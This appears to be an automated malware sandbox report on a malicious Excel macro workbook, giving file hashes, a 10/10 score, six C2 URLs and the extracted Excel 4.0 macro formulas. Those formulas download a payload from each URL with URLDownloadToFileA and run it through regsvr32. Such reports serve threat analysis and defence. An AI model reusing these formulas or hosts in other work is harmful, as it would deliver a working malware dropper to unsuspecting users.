General

  • Target

    711f2c713ba3ac967f4beb145b5101963aaf300bb79e2e60052072828e865df2

  • Size

    40KB

  • MD5

    312c22259bf06870d8f007531b26e4a9

  • SHA1

    ac1aad176222a3aa9e7d12202017b7645284c1f6

  • SHA256

    711f2c713ba3ac967f4beb145b5101963aaf300bb79e2e60052072828e865df2

  • SHA512

    0e52e9b090b3bdbdadcb60770b10df17bcfa14a92e39a1e05ffb303a89b1b22e929346d49e82d3f7438450f06c7a2dccbd030307b46bed71ad77705c8957af1c

  • SSDEEP

    768:a/omdH+DOevZCwttqyKfcrND59V+L9Rw4eWrXcTqZ0VP2HLp:2omdH+DoylND59V4jwmXc2CVCF

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://vipteck.com/wp-content/M/

https://shofarshoshanna.com/t0ssm/roE/

https://santacruzam.com/wp-admin/FeDgNEP/

https://thearkrealmproject.com/wp-admin/wxB4Wp3KyEMCsZva/

https://kingspointresidence.com/camelia-diamond_/G/

https://rockadile.nl/blogs/36DlPQKwRR1vOFQR/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipteck.com/wp-content/M/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://shofarshoshanna.com/t0ssm/roE/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://santacruzam.com/wp-admin/FeDgNEP/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thearkrealmproject.com/wp-admin/wxB4Wp3KyEMCsZva/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://kingspointresidence.com/camelia-diamond_/G/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rockadile.nl/blogs/36DlPQKwRR1vOFQR/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 711f2c713ba3ac967f4beb145b5101963aaf300bb79e2e60052072828e865df2
    .xlsm office2007